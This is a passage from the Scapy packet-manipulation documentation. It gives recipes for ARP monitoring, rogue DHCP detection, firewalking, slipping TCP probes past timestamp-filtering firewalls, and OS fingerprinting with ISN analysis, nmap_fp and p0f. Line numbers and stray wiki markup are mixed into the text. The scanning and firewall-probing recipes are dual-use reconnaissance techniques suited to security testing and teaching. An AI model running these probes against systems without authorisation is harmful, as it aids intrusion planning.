short-slot+ESS+privacy 1351 44:55:66:00:11:22 linksys 6L short-slot+ESS+privacy 1352 12:34:56:78:90:12 NETGEAR 6L short-slot+ESS+privacy+short-preamble 1353 1354 1355Recipes 1356======= 1357 1358Simplistic ARP Monitor 1359---------------------- 1360 1361This program uses the ``sniff()`` callback (paramter prn). The store parameter is set to 0 so that the ``sniff()`` function will not store anything (as it would do otherwise) and thus can run forever. The filter parameter is used for better performances on high load : the filter is applied inside the kernel and Scapy will only see ARP traffic. 1362 1363:: 1364 1365 #! /usr/bin/env python 1366 from scapy.all import * 1367 1368 def arp_monitor_callback(pkt): 1369 if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at 1370 return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%") 1371 1372 sniff(prn=arp_monitor_callback, filter="arp", store=0) 1373 1374Identifying rogue DHCP servers on your LAN 1375------------------------------------------- 1376 1377.. index:: 1378 single: DHCP 1379 1380Problem 1381^^^^^^^ 1382 1383You suspect that someone has installed an additional, unauthorized DHCP server on your LAN -- either unintentionally or maliciously. 1384Thus you want to check for any active DHCP servers and identify their IP and MAC addresses. 1385 1386Solution 1387^^^^^^^^ 1388 1389Use Scapy to send a DHCP discover request and analyze the replies:: 1390 1391 >>> conf.checkIPaddr = False 1392 >>> fam,hw = get_if_raw_hwaddr(conf.iface) 1393 >>> dhcp_discover = Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67)/BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"]) 1394 >>> ans, unans = srp(dhcp_discover, multi=True) # Press CTRL-C after several seconds 1395 Begin emission: 1396 Finished to send 1 packets. 1397 .*...*.. 1398 Received 8 packets, got 2 answers, remaining 0 packets 1399 1400In this case we got 2 replies, so there were two active DHCP servers on the test network:: 1401 1402 >>> ans.summary() 1403 Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.1:bootps > 255.255.255.255:bootpc / BOOTP / DHCP 1404 Ether / IP / UDP 0.0.0.0:bootpc > 255.255.255.255:bootps / BOOTP / DHCP ==> Ether / IP / UDP 192.168.1.11:bootps > 255.255.255.255:bootpc / BOOTP / DHCP 1405 }}} 1406 We are only interested in the MAC and IP addresses of the replies: 1407 {{{ 1408 >>> for p in ans: print p[1][Ether].src, p[1][IP].src 1409 ... 1410 00:de:ad:be:ef:00 192.168.1.1 1411 00:11:11:22:22:33 192.168.1.11 1412 1413Discussion 1414^^^^^^^^^^ 1415 1416We specify ``multi=True`` to make Scapy wait for more answer packets after the first response is received. 1417This is also the reason why we can't use the more convenient ``dhcp_request()`` function and have to construct the DCHP packet manually: ``dhcp_request()`` uses ``srp1()`` for sending and receiving and thus would immediately return after the first answer packet. 1418 1419Moreover, Scapy normally makes sure that replies come from the same IP address the stimulus was sent to. But our DHCP packet is sent to the IP broadcast address (255.255.255.255) and any answer packet will have the IP address of the replying DHCP server as its source IP address (e.g. 192.168.1.1). Because these IP addresses don't match, we have to disable Scapy's check with ``conf.checkIPaddr = False`` before sending the stimulus. 1420 1421See also 1422^^^^^^^^ 1423 1424http://en.wikipedia.org/wiki/Rogue_DHCP 1425 1426 1427 1428Firewalking 1429----------- 1430 1431TTL decrementation after a filtering operation 1432only not filtered packets generate an ICMP TTL exceeded 1433 1434 >>> ans, unans = sr(IP(dst="172.16.4.27", ttl=16)/TCP(dport=(1,1024))) 1435 >>> for s,r in ans: 1436 if r.haslayer(ICMP) and r.payload.type == 11: 1437 print s.dport 1438 1439Find subnets on a multi-NIC firewall 1440only his own NIC’s IP are reachable with this TTL:: 1441 1442 >>> ans, unans = sr(IP(dst="172.16.5/24", ttl=15)/TCP()) 1443 >>> for i in unans: print i.dst 1444 1445 1446TCP Timestamp Filtering 1447------------------------ 1448 1449Problem 1450^^^^^^^ 1451 1452Many firewalls include a rule to drop TCP packets that do not have TCP Timestamp option set which is a common occurrence in popular port scanners. 1453 1454Solution 1455^^^^^^^^ 1456 1457To allow Scapy to reach target destination additional options must be used:: 1458 1459 >>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S",options=[('Timestamp',(0,0))])) 1460 1461 1462 1463Viewing packets with Wireshark 1464------------------------------ 1465 1466.. index:: 1467 single: wireshark() 1468 1469Problem 1470^^^^^^^ 1471 1472You have generated or sniffed some packets with Scapy and want to view them with `Wireshark <http://www.wireshark.org>`_, because of its advanced packet dissection abilities. 1473 1474Solution 1475^^^^^^^^ 1476 1477That's what the ``wireshark()`` function is for: 1478 1479 >>> packets = Ether()/IP(dst=Net("google.com/30"))/ICMP() # first generate some packets 1480 >>> wireshark(packets) # show them with Wireshark 1481 1482Wireshark will start in the background and show your packets. 1483 1484Discussion 1485^^^^^^^^^^ 1486 1487The ``wireshark()`` function generates a temporary pcap-file containing your packets, starts Wireshark in the background and makes it read the file on startup. 1488 1489Please remember that Wireshark works with Layer 2 packets (usually called "frames"). So we had to add an ``Ether()`` header to our ICMP packets. Passing just IP packets (layer 3) to Wireshark will give strange results. 1490 1491You can tell Scapy where to find the Wireshark executable by changing the ``conf.prog.wireshark`` configuration setting. 1492 1493 1494 1495OS Fingerprinting 1496----------------- 1497 1498ISN 1499^^^ 1500 1501Scapy can be used to analyze ISN (Initial Sequence Number) increments to possibly discover vulnerable systems. First we will collect target responses by sending a number of SYN probes in a loop:: 1502 1503 >>> ans, unans = srloop(IP(dst="192.168.1.1")/TCP(dport=80,flags="S")) 1504 1505Once we obtain a reasonable number of responses we can start analyzing collected data with something like this: 1506 1507 >>> temp = 0 1508 >>> for s, r in ans: 1509 ... temp = r[TCP].seq - temp 1510 ... print("%d\t+%d" % (r[TCP].seq, temp)) 1511 ... 1512 4278709328 +4275758673 1513 4279655607 +3896934 1514 4280642461 +4276745527 1515 4281648240 +4902713 1516 4282645099 +4277742386 1517 4283643696 +5901310 1518 1519nmap_fp 1520^^^^^^^ 1521 1522Nmap fingerprinting (the old "1st generation" one that was done by Nmap up to v4.20) is supported in Scapy. In Scapy v2 you have to load an extension module first:: 1523 1524 >>> load_module("nmap") 1525 1526If you have Nmap installed you can use it's active os fingerprinting database with Scapy. Make sure that version 1 of signature database is located in the path specified by:: 1527 1528 >>> conf.nmap_base 1529 1530Then you can use the ``nmap_fp()`` function which implements same probes as in Nmap's OS Detection engine:: 1531 1532 >>> nmap_fp("192.168.1.1",oport=443,cport=1) 1533 Begin emission: 1534 .****..**Finished to send 8 packets. 1535 *................................................ 1536 Received 58 packets, got 7 answers, remaining 1 packets 1537 (1.0, ['Linux 2.4.0 - 2.5.20', 'Linux 2.4.19 w/grsecurity patch', 1538 'Linux 2.4.20 - 2.4.22 w/grsecurity.org patch', 'Linux 2.4.22-ck2 (x86) 1539 w/grsecurity.org and HZ=1000 patches', 'Linux 2.4.7 - 2.6.11']) 1540 1541p0f 1542^^^ 1543 1544If you have p0f installed on your system, you can use it to guess OS name and version right from Scapy (only SYN database is used). First make sure that p0f database exists in the path specified by:: 1545 1546 >>> conf.p0f_base 1547 1548For example to guess OS from a single captured packet: 1549 1550 >>> sniff(prn=prnp0f) 1551 192.168.1.100:54716 - Linux 2.6 (newer, 1) (up: 24 hrs) 1552 -> 74.125.19.104:www (distance 0) 1553 <Sniffed: TCP:339 UDP:2 ICMP:0 Other:156> 1554 1555 1556 1557